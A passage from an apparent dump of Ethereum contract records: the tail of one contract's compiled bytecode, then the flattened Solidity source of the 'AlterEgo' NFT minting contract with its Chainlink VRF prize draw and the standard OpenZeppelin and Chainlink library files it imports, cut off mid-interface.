2001826001600160a01b031681526020019250505060206040518083038186803b15801561211a57600080fd5b505afa15801561212e573d6000803e3d6000fd5b505050506040513d602081101561214457600080fd5b50516129bc565b90505b61219e8184848151811061215e57fe5b60200260200101516001600160a01b03166375de29026040518163ffffffff1660e01b815260040160206040518083038186803b15801561211a57600080fd5b9050801561251a576001600160a01b038916301461225e578282815181106121c257fe5b60200260200101516001600160a01b03166323b872dd8a30846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b15801561223157600080fd5b505af1158015612245573d6000803e3d6000fd5b505050506040513d602081101561225b57600080fd5b50505b600019871461248657600061237584848151811061227857fe5b60200260200101516001600160a01b03166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b1580156122b857600080fd5b505afa1580156122cc573d6000803e3d6000fd5b505050506040513d60208110156122e257600080fd5b50518551610f70908790879081106122f657fe5b60200260200101516001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561233657600080fd5b505afa15801561234a573d6000803e3d6000fd5b505050506040513d602081101561236057600080fd5b5051600a0a61236f8c8b6127e9565b90611940565b905060008111801561238657508181105b156124215761241a84848151811061239a57fe5b60200260200101516001600160a01b0316632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156123e757600080fd5b505af11580156123fb573d6000803e3d6000fd5b505050506040513d602081101561241157600080fd5b50518790611885565b9550612480565b61247d84848151811061243057fe5b60200260200101516001600160a01b0316632e1a7d4d846040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156123e757600080fd5b95505b5061250d565b61250a83838151811061249557fe5b60200260200101516001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156124d757600080fd5b505af11580156124eb573d6000803e3d6000fd5b505050506040513d602081101561250157600080fd5b50518690611885565b94505b84871161251a5750612524565b505b600101611fc0565b50848311156126655761253783866127e9565b60005460408051636eb1769f60e11b81523060048201526001600160a01b0386811660248301529151919092169163dd62ed3e916044808301926020929190829003018186803b15801561258a57600080fd5b505afa15801561259e573d6000803e3d6000fd5b505050506040513d60208110156125b457600080fd5b505110156125d5576000546125d5906001600160a01b03168360001961288b565b6001600160a01b038216636e553f656125ee85886127e9565b896040518363ffffffff1660e01b815260040180838152602001826001600160a01b0316815260200192505050602060405180830381600087803b15801561263557600080fd5b505af1158015612649573d6000803e3d6000fd5b505050506040513d602081101561265f57600080fd5b50859350505b6001600160a01b038616301461268c5760005461268c906001600160a01b031687856118ee565b5050949350505050565b60606126eb826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166129d29092919063ffffffff16565b805190915015610dba5780806020019051602081101561270a57600080fd5b5051610dba5760405162461bcd60e51b815260040180806020018281038252602a815260200180612c53602a913960400191505060405180910390fd5b600081836127d35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612798578181015183820152602001612780565b50505050905090810190601f1680156127c55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816127df57fe5b0495945050505050565b6000610fc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129e9565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052612885908590612696565b50505050565b801580612911575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156128e357600080fd5b505afa1580156128f7573d6000803e3d6000fd5b505050506040513d602081101561290d57600080fd5b5051155b61294c5760405162461bcd60e51b8152600401808060200182810382526036815260200180612c7d6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610dba908490612696565b600154815111156114cf5780516117cf906001906020840190612bb6565b60008183106129cb5781610fc2565b5090919050565b60606129e18484600085612a43565b949350505050565b60008184841115612a3b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612798578181015183820152602001612780565b505050900390565b6060612a4e85612bb0565b612a9f576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310612ade5780518252601f199092019160209182019101612abf565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612b40576040519150601f19603f3d011682016040523d82523d6000602084013e612b45565b606091505b50915091508115612b595791506129e19050565b805115612b695780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315612798578181015183820152602001612780565b3b151590565b828054828255906000526020600020908101928215612c0b579160200282015b82811115612c0b57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612bd6565b506113029291505b808211156113025780546001600160a01b0319168155600101612c1356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a2646970667358221220fa86182d2a190366634ab428c1796dbc0ad160983fe32f968d0cd86b80692c0b64736f6c634300060c0033
[ 16, 5 ]
0xf1B6f15bdF14b4245341e1E2a0Db1F3d6c65F20A
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "./ProxyRegistry.sol"; contract AlterEgo is ERC721, Ownable, VRFConsumerBaseV2 { using Counters for Counters.Counter; address proxyRegistryAddress; // Required by Chainlink VRFCoordinatorV2Interface COORDINATOR; LinkTokenInterface LINKTOKEN; uint64 immutable s_subscriptionId; bytes32 immutable keyHash; uint32 constant callbackGasLimit = 100000; uint16 constant requestConfirmations = 3; uint32 constant numWords = 1; uint256 public lambo_winner; Counters.Counter private _tokenSupply; uint256 public PRICE; uint256 public START_DATE; uint256 public MAX_SUPPLY; uint256 public constant RESERVED_WINNERS = 18; string private baseUri; modifier saleIsActive() { require(START_DATE != 0 && block.timestamp >= START_DATE, "Sale is not active yet"); _; } constructor( address _vrfCoordinator, address _link, bytes32 _keyHash, uint64 _subscriptionId, address _proxyRegistryAddress, uint256 _price, uint256 _startDate, uint256 _maxSupply, string memory _baseUri ) ERC721("AlterEgo", "EGO") VRFConsumerBaseV2(_vrfCoordinator) { keyHash = _keyHash; s_subscriptionId = _subscriptionId; COORDINATOR = VRFCoordinatorV2Interface(_vrfCoordinator); LINKTOKEN = LinkTokenInterface(_link); proxyRegistryAddress = _proxyRegistryAddress; PRICE = _price; START_DATE = _startDate; MAX_SUPPLY = _maxSupply; baseUri = _baseUri; } function mint(uint256 numberOfTokens) public payable saleIsActive { require(numberOfTokens * PRICE == msg.value, "Ether value is not correct"); require(_tokenSupply.current() + numberOfTokens <= MAX_SUPPLY - RESERVED_WINNERS, "Sold out!"); for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, _tokenSupply.current()); _tokenSupply.increment(); } } function reserve(address[] calldata to) public onlyOwner { for (uint256 i = 0; i < to.length; i++) { _safeMint(to[i], _tokenSupply.current()); _tokenSupply.increment(); } } function totalSupply() public view returns (uint256) { return _tokenSupply.current(); } function contractURI() public pure returns (string memory) { return "ipfs://bafybeicgcef6ox4lou6nx3x4un6zwnsh5cv36ae5er6vtjpzenlartsuou"; } function _baseURI() internal view override returns (string memory) { return baseUri; } function setBaseURI(string memory _baseUri) public onlyOwner { baseUri = _baseUri; } function setPrice(uint256 _price) public onlyOwner { PRICE = _price; } function setStartDate(uint256 _startDate) public onlyOwner { START_DATE = _startDate; } function setMaxSupply(uint256 _maxSupply) public onlyOwner { MAX_SUPPLY = _maxSupply; } function walletOfOwner(address owner) public view returns (uint256[] memory) { uint256[] memory result = new uint256[](balanceOf(owner)); uint256 i = 0; for (uint256 tokenId = 0; tokenId < _tokenSupply.current(); tokenId++) { if (_exists(tokenId) && ownerOf(tokenId) == owner) { result[i] = tokenId; i += 1; } } return result; } function withdraw(address payable to, uint256 amount) public onlyOwner { require(to != address(0x0), "Invalid address"); to.transfer(amount); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } // Assumes the subscription is funded sufficiently. function selectWinner() public onlyOwner { // Will revert if subscription is not set and funded. COORDINATOR.requestRandomWords( keyHash, s_subscriptionId, requestConfirmations, callbackGasLimit, numWords ); } function fulfillRandomWords( uint256, /* requestId */ uint256[] memory randomWords ) internal override { lambo_winner = randomWords[0] % _tokenSupply.current(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. It ensures 2 things: * @dev 1. The fulfillment came from the VRFCoordinator * @dev 2. The consumer contract implements fulfillRandomWords. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash). Create subscription, fund it * @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface * @dev subscription management functions). * @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations, * @dev callbackGasLimit, numWords), * @dev see (VRFCoordinatorInterface for a description of the arguments). * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomWords method. * * @dev The randomness argument to fulfillRandomWords is a set of random words * @dev generated from your requestId and the blockHash of the request. * * @dev If your contract could have concurrent requests open, you can use the * @dev requestId returned from requestRandomWords to track which response is associated * @dev with which randomness request. * @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously. * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. It is for this reason that * @dev that you can signal to an oracle you'd like them to wait longer before * @dev responding to the request (however this is not enforced in the contract * @dev and so remains effective only in the case of unmodified oracle software). */ abstract contract VRFConsumerBaseV2 { error OnlyCoordinatorCanFulfill(address have, address want); address private immutable vrfCoordinator; /** * @param _vrfCoordinator address of VRFCoordinator contract */ constructor(address _vrfCoordinator) { vrfCoordinator = _vrfCoordinator; } /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomWords the VRF output expanded to the requested number of words */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal virtual; // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external { if (msg.sender != vrfCoordinator) { revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator); } fulfillRandomWords(requestId, randomWords); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface VRFCoordinatorV2Interface { /** * @notice Get configuration relevant for making requests * @return minimumRequestConfirmations global min for request confirmations * @return maxGasLimit global max for request gas limit * @return s_provingKeyHashes list of registered key hashes */ function getRequestConfig() external view returns ( uint16, uint32, bytes32[] memory ); /** * @notice Request a set of random words. * @param keyHash - Corresponds to a particular oracle job which uses * that key for generating the VRF proof. Different keyHash's have different gas price * ceilings, so you can select a specific one to bound your maximum per request cost. * @param subId - The ID of the VRF subscription. Must be funded * with the minimum subscription balance required for the selected keyHash. * @param minimumRequestConfirmations - How many blocks you'd like the * oracle to wait before responding to the request. See SECURITY CONSIDERATIONS * for why you may want to request more. The acceptable range is * [minimumRequestBlockConfirmations, 200]. * @param callbackGasLimit - How much gas you'd like to receive in your * fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords * may be slightly less than this amount because of gas used calling the function * (argument decoding etc.), so you may need to request slightly more than you expect * to have inside fulfillRandomWords. The acceptable range is * [0, maxGasLimit] * @param numWords - The number of uint256 random values you'd like to receive * in your fulfillRandomWords callback. Note these numbers are expanded in a * secure way by the VRFCoordinator from a single random value supplied by the oracle. * @return requestId - A unique identifier of the request. Can be used to match * a request to a response in fulfillRandomWords. */ function requestRandomWords( bytes32 keyHash, uint64 subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords ) external returns (uint256 requestId); /** * @notice Create a VRF subscription. * @return subId - A unique subscription id. * @dev You can manage the consumer set dynamically with addConsumer/removeConsumer. * @dev Note to fund the subscription, use transferAndCall. For example * @dev LINKTOKEN.transferAndCall( * @dev address(COORDINATOR), * @dev amount, * @dev abi.encode(subId)); */ function createSubscription() external returns (uint64 subId); /** * @notice Get a VRF subscription. * @param subId - ID of the subscription * @return balance - LINK balance of the subscription in juels. * @return reqCount - number of requests for this subscription, determines fee tier. * @return owner - owner of the subscription. * @return consumers - list of consumer address which are able to use this subscription. */ function getSubscription(uint64 subId) external view returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ); /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @param newOwner - proposed new owner of the subscription */ function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner) external; /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @dev will revert if original owner of subId has * not requested that msg.sender become the new owner. */ function acceptSubscriptionOwnerTransfer(uint64 subId) external; /** * @notice Add a consumer to a VRF subscription. * @param subId - ID of the subscription * @param consumer - New consumer which can use the subscription */ function addConsumer(uint64 subId, address consumer) external; /** * @notice Remove a consumer from a VRF subscription. * @param subId - ID of the subscription * @param consumer - Consumer to remove from the subscription */ function removeConsumer(uint64 subId, address consumer) external; /** * @notice Cancel a subscription * @param subId - ID of the subscription * @param to - Where to send the remaining LINK to */ function cancelSubscription(uint64 subId, address to) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract OwnableDelegateProxy {} /** * Used to delegate ownership of a contract to another address, to save on unneeded transactions to approve contract use for users */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` 